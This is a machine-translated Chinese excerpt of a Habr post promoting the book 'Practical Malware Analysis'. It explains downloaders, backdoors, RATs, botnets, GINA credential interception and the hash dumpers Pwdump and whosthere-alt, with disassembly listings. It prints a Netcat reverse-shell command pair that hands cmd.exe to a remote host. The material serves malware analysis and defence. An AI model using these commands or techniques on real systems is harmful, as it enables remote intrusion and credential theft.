这本书“将进行尸检!” 实用的恶意软件分析»

图片 恶意软件分析类似于猫和老鼠的游戏:没有规则,情况在不断变化。 因此,在这种情况下,仅研究永恒的事物和算法是有意义的。 一旦您面临保护网络(或一千个网络)的任务,便会进行这样的分析,而如果没有本书,您将无可避免。

下载和运行软件的程序


有两种用于下载和运行软件的常见恶意软件。 下载程序(不要与系统下载程序混淆)只是从Internet下载其他恶意代码并在本地计算机上运行。 它们通常与漏洞利用程序一起分发。 他们通常使用两个Windows API调用,一个接一个,以下载并执行其他恶意软件:URLDownloadtoFileA和WinExec。

启动器(启动器)是一个可执行文件,可安装恶意应用程序以隐藏执行(立即或在一段时间后)。 启动器通常会附带需要运行的软件。 我们将在第12章中讨论它们。

后门


后门程序是使攻击者可以访问受害者计算机的程序。 它们是最容易检测到的恶意软件类型,其大小和功能集可能会有很大差异。 后门代码通常是自包含的,不需要下载其他受感染的文件。

后门以多种不同的方式通过Internet进行交互,但数据通常通过端口80通过HTTP传输。HTTP构成了大部分传出网络流量,这为恶意软件提供了一个很好的机会,使其他信息不受注意。

在第14章中,您将学习如何在数据包级别分析后门,如何创建有效的网络签名。 同时,我们将专注于高层交互。
后门具有一组标准功能:能够操纵注册表项,对显示的窗口进行计数,创建目录,搜索文件等。要了解后门使用了哪些功能,可以检查其导入的Windows API函数。 附录A提供了一些常用功能列表,这些常用功能描述了他们对恶意软件的评价。

反向命令外壳


反向命令外壳是一种连接,可启动受感染的计算机,从而向攻击者提供命令访问权限。 它可以是单独的恶意程序,也可以是更复杂的后门程序的组件之一。 在反向命令外壳中,攻击者可以像执行所有这些操作一样在其本地系统上执行命令。

Netcat反向命令外壳


如果您在两台计算机上运行命令,我们在第3章中讨论过的Netcat程序可用于创建命令外壳。 攻击者经常自己使用它,并与其他恶意软件互补。
要这样使用Netcat,远程系统必须使用以下命令等待传入连接:

nc -l –p 80 

-l开关将Netcat切换到侦听模式,-p开关确定要监视的端口。 接下来,受害者的计算机启动传出连接并提供其命令外壳:

 nc _ip 80 -e cmd.exe 

ip 80侦听器是远程主机的IP地址和端口。 -e选项使您可以指定建立连接时将运行的程序。 它的标准输入和输出将绑定到套接字(如您稍后将看到的,Windows经常使用cmd.exe)。

Windows反向外壳


攻击者在Windows中使用两种简单的基于cmd.exe的反向命令外壳实现:基本和多线程。

该基本方法在恶意软件作者中颇为流行,因为它更易于实现,并且通常不比多线程方法差。 它基于调用CreateProcess并更改传递给它的STARTUPINFO结构。 首先,创建一个套接字并与远程服务器建立连接。 然后,将此套接字附加到cmd.exe进程的标准线程(输入,输出和错误流)。 CreateProcess在无窗口模式下运行cmd.exe使其对受害者隐藏。 第7章提供了此技术的示例。

Windows反向命令外壳程序的多线程版本意味着创建一个套接字,两个管道和两个线程(因此,应查找CreateThread和CreatePipe调用)。 恶意软件作者有时将此方法用作修改或编码通过套接字传输的数据的策略的一部分。 CreatePipe函数可用于绑定到通道的读取和写入端,例如标准输入(stdin)和标准输出(stdout)。 CreateProcess函数允许您将标准线程绑定到通道,而不是直接绑定到套接字。 调用后,恶意软件将创建两个执行线程:一个用于从stdin通道读取并写入套接字,另一个用于从套接字中读取并写入stdout通道。 通常,这些线程正在编码数据,我们将在第13章中讨论。使用逆向工程方法,您可以检查流解码在加密会话期间接收到的数据包的分支。

远程管理工具


远程管理工具(RAT)用于控制网络上的一台或多台计算机。 他们经常参与目标明确的攻击-例如,在窃取信息或在计算机之间移动时。

在图。 11.1显示了RAT的网络结构。 在受害者系统上运行的服务器装有恶意代码。 客户端可以远程工作,因为控制模块可供攻击者使用。 服务器向客户端发出信号,由客户端控制它们启动连接。 RAT中的互通通常通过标准端口(例如80或443)进行。

图片

僵尸网络


僵尸网络是受感染的网络节点(僵尸)的集合,这些节点通常使用称为僵尸网络控制器的服务器进行集中管理。 僵尸网络的目标是感染尽可能多的计算机,并基于这些计算机创建一个大型网络,该网络可用于传播其他恶意软件或垃圾邮件以及执行DDoS攻击(分布式拒绝服务)。 ) 如果所有僵尸同时开始攻击某个站点,则可能无法访问。

RAT与僵尸网络的比较


僵尸网络与远程管理工具之间有几个重要区别。

  • 僵尸网络已知会感染和控制数百万个节点。 RAT通常由少得多的计算机运行。
  • 所有僵尸网络参与者都被同时管理。 RAT允许您在不同的受害者之间分配资源,因为攻击者可以与受感染的系统进行更紧密的交互。
  • RAT用于狭窄目标的攻击,而僵尸网络以数量众多而著称。

凭证盗窃


攻击者经常采取各种技巧来窃取凭据。 对于三种类型的恶意软件尤其如此。

  • 程序会在用户登录系统时窃取用户凭据。
  • 复制Windows中存储的信息(密码,哈希等)以直接使用或进一步解密的程序。
  • 记录击键的程序。

在本节中,我们将研究每种类型的恶意软件。

GINA拦截


Windows XP使用一种技巧来窃取凭据,该技巧包括拦截GINA(图形标识和身份验证)。 创建GINA系统是为了允许第三方应用程序自行调整登录过程,从而增加了对基于令牌或智能卡的射频识别(RFID)等技术的支持。 恶意软件作者借此机会下载窃取凭据的代码。

GINA被实现为一个名为msgina.dll的DLL,并在登录期间由Winlogon加载。 Winlogon还支持第三方插件,将它们加载到GINA DLL之前(例如在中间攻击中)。 为了方便起见,Windows提供了以下注册表分支,Winlogon可以在其中找到并加载第三方DLL:

 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL 

一旦我们在此处找到受感染的fsgina.dll文件,原来是GINA拦截器。
在图。 图11.2显示了一个示例,该示例说明了登录信息如何从Winlogon传递到msgina.dll并进入恶意库。 该恶意软件(fsgina.dll)设法拦截用户在身份验证期间输入的所有凭据。 他可以将其写入磁盘或通过网络传输。

图片

由于fsgina.dll库拦截了Winlogon与GINA之间的交互流,因此必须将其进一步传递给msgina.dll,以便系统继续正常运行。 为此,恶意软件必须导出GINA系统所需的所有功能-其中有15种以上,并且大多数具有Wlx前缀。 显然,如果您在DLL中找到许多以Wlx开头的导出功能,则很可能会假定这是GINA拦截器。

这些导出调用大多数都访问msgina.dll中的实际函数。 对于fsgina.dll,这适用于WlxLoggedOutSAS以外的所有功能。 清单11.1显示了将WlxLoggedOutSAS导出到fsgina.dll。

清单11.1 GINA DLL中的WlxLoggedOutSAS导出功能记录了被盗凭证

 100014A0 WlxLoggedOutSAS 100014A0 push esi 100014A1 push edi 100014A2 push offset aWlxloggedout_0 ; "WlxLoggedOutSAS" 100014A7 call Call_msgina_dll_function (1) ... 100014FB push eax ; Args 100014FC push offset aUSDSPSOpS ;"U: %s D: %s P: %s OP: %s" 10001501 push offset aDRIVERS ; "drivers\tcpudp.sys" 10001503 call Log_To_File (2) 

使用指定为Call_msgina_dll_function(1)的调用,凭据信息立即传输到msgina.dll文件。 此函数从msgina.dll动态定位并启动WlxLoggedOutSAS调用,该调用被指定为参数。 第(2)行的呼叫记录数据。 作为参数,它使用记帐信息,将显示该信息的格式字符串以及要记录的文件名。 结果,有关任何成功登录的信息将保存到%SystemRoot%\ system32 \ drivers \ tcpudp.sys文件中。 该文件包含用户名,域和两个密码-当前密码和旧密码。

保存哈希


Windows上的恶意软件通常会节省系统哈希值,以获取凭据。 保存后,攻击者尝试脱机解密这些散列,或使用它们像哈希传递一样进行攻击。 在此攻击期间,LM和NTLM散列用于远程NTLM身份验证,该身份验证不需要解密并获取相应的密码。

为了节省哈希,有免费的Pwdump和哈希传递(PSH)软件包。 由于这两个工具都是开源的,因此已经在它们的基础上创建了许多恶意软件。

大多数防病毒软件都为这些实用程序的标准编译版本提供了签名,因此攻击者经常尝试编译自己的变体以避免检测到。 本章中的示例是我们在现实生活中遇到的pwdump和PSH的类型。

Pwdump是一组程序,它们从安全帐户管理器(SAM)以LM i NTLM格式输出属于本地用户的哈希。 Pwdump将DLL注入到LSASS进程(本地安全机构子系统服务)中,该进程通常称为lsass.exe。 我们将在第12章中讨论DLL的实现,但是现在,您只需要知道这是一种技术,恶意软件就可以利用其所有特权在其他进程内部执行库。 用于保存哈希的工具通常会攻击lsass.exe进程,因为它具有足够的特权并可以访问许多有用的API函数。

Pwdump的标准版本使用lsaext.dll库。 当将其注入lsass.exe中时,它将调用GetHash函数,该函数从lsaext.dll中导出以检索哈希。 在这种情况下,将使用未记录的Windows函数,这将使您能够获取系统中所有用户的序列号以及每个用户的未加密密码散列。

面对Pwdump的变体,您需要分析其库以了解如何保存哈希。 首先要注意导出功能。 默认情况下,GetHash调用是从Pwdump导出的,但是攻击者可以轻松更改其名称以使其难以识别。 然后,您应该尝试确定导出调用中使用的功能。 它们中的许多可以动态定位;因此,导出调用通常会重用GetProcAddress操作。

清单11.2显示了一个版本的Pwdump的DLL中的GrabHash导出功能代码。 由于该库已嵌入lsass.exe中,因此在使用许多字符之前,它首先必须在手动模式下找到它们。

清单11.2。 在Pwdump变体之一中,GrabHash导出功能使用的唯一API调用

 1000123F push offset LibFileName ; "samsrv.dll" (1) 10001244 call esi ; LoadLibraryA 10001248 push offset aAdvapi32_dll_0 ; "advapi32.dll" (2) ... 10001251 call esi ; LoadLibraryA ... 1000125B push offset ProcName ; "SamIConnect" 10001260 push ebx ; hModule 10001265 call esi ; GetProcAddress ... 10001281 push offset aSamrqu ; "SamrQueryInformationUser" 10001286 push ebx ; hModule 1000128C call esi ; GetProcAddress ... 100012C2 push offset aSamigetpriv ; "SamIGetPrivateData" 100012C7 push ebx ; hModule 100012CD call esi ; GetProcAddress ... 100012CF push offset aSystemfuncti ; "SystemFunction025" (3) 100012D4 push edi ; hModule 100012DA call esi ; GetProcAddress 100012DC push offset aSystemfuni_0 ; "SystemFunction027" (4) 100012E1 push edi ; hModule 100012E7 call esi ; GetProcAddress 

清单11.2显示了通过调用LoadLibrary检索samsrv.dll(1)和advapi32.dll(2)库描述符的代码。 samsrv.dll文件包含可轻松访问SAM的API,并且发现advapi32.dll文件可访问未导入lsass.exe的功能。 此变体Pwdump的动态库使用这些库的描述符来搜索许多功能。 清单中显示了五个最重要的参数(请注意GetProcAddress调用及其参数)。

从samsrv.dll导入了有趣的调用,例如SamIConnect,SamrQueryInformationUser和SamIGetPrivateData。 随后,使用SamIConnect调用连接到SAM,然后为系统中的每个用户调用SamrQueryInformationUser函数。

使用SamIGetPrivateData调用检索哈希,然后使用从advapi32.dll导入的SystemFunction025和SystemFunction027函数解密(第(2)和(3)行)。 官方文档中没有列出此清单中的API函数。

PSH Toolkit包含创建哈希转储的程序。 这些垃圾堆中最受欢迎的垃圾堆被称为whosthere-alt。 它存储通过将DLL嵌入lsass.exe中获得的SAM内容。 同时,与Pwdump相比,使用了完全不同的API函数集。 清单11.3显示了whosthere-alt的版本代码,该版本代码导出一个名为TestDump的函数。

清单11.3。 whosthere-alt版本的导出函数TestDump使用的唯一API调用

 10001119 push offset LibFileName ; "secur32.dll" 1000111E call ds:LoadLibraryA 10001130 push offset ProcName ; "LsaEnumerateLogonSessions" 10001135 push esi ; hModule 10001136 call ds:GetProcAddress (1) ... 10001670 call ds:GetSystemDirectoryA 10001676 mov edi, offset aMsv1_0_dll ; \\msv1_0.dll ... 100016A6 push eax ; path to msv1_0.dll 100016A9 call ds:GetModuleHandleA (2) 

由于此库嵌入在lsass.exe中,因此其TestDump函数将创建哈希转储。 它动态加载secur32.dll文件,并在其中找到LsaEnumerateLogonSessions(1)调用以获取本地唯一标识符(LUID)的列表。 此列表包含每次登录时指示的名称和域。 图书馆通过它们来访问会计信息。 为此,她使用对GetModuleHandle(2)的调用,在msv1_0.dll中搜索未导出的函数NlpGetPrimaryCredential,该函数允许转储NT和LM哈希。

关于作者


Michael Sikorski是Mandiant的安全专家。 作为事件调查的一部分,他参与了恶意软件分析,并且是美国政府信息安全顾问。 Michael开发了一系列恶意软件分析课程,并向FBI和Black Hat等不同的受众授课。 加入Mandiant之前,他是麻省理工学院林肯实验室的一名员工,从事无源网络拓扑和渗透测试的研究。 此外,迈克尔在国家安全局完成了为期三年的系统和网络跨学科培训计划。 在培训期间,他参加了逆向工程技术的研究,并在网络分析领域获得了多个奖项。

Andrew Honig是美国国防部的一名信息安全专家。 他在国立密码学院教授Windows操作系统(OS)的软件分析,逆向工程和编程,同时是一名经过认证的信息系统安全专家。 由于安德鲁(Andrew)对VMware虚拟化进行了数次零日漏洞利用,以及用于检测创新恶意软件的工具,包括受感染的内核模块。 作为计算机安全领域的分析师,他拥有十年的经验,因此被认为是分析和解释恶意程序和普通程序的专家。

»这本书的更多信息可以在出版商的网站上找到
» 目录
» 摘录

对于Khabrozhiteley优惠券20%的折扣- 将会进行验尸

Source: https://habr.com/ru/post/zh-CN416143/


All Articles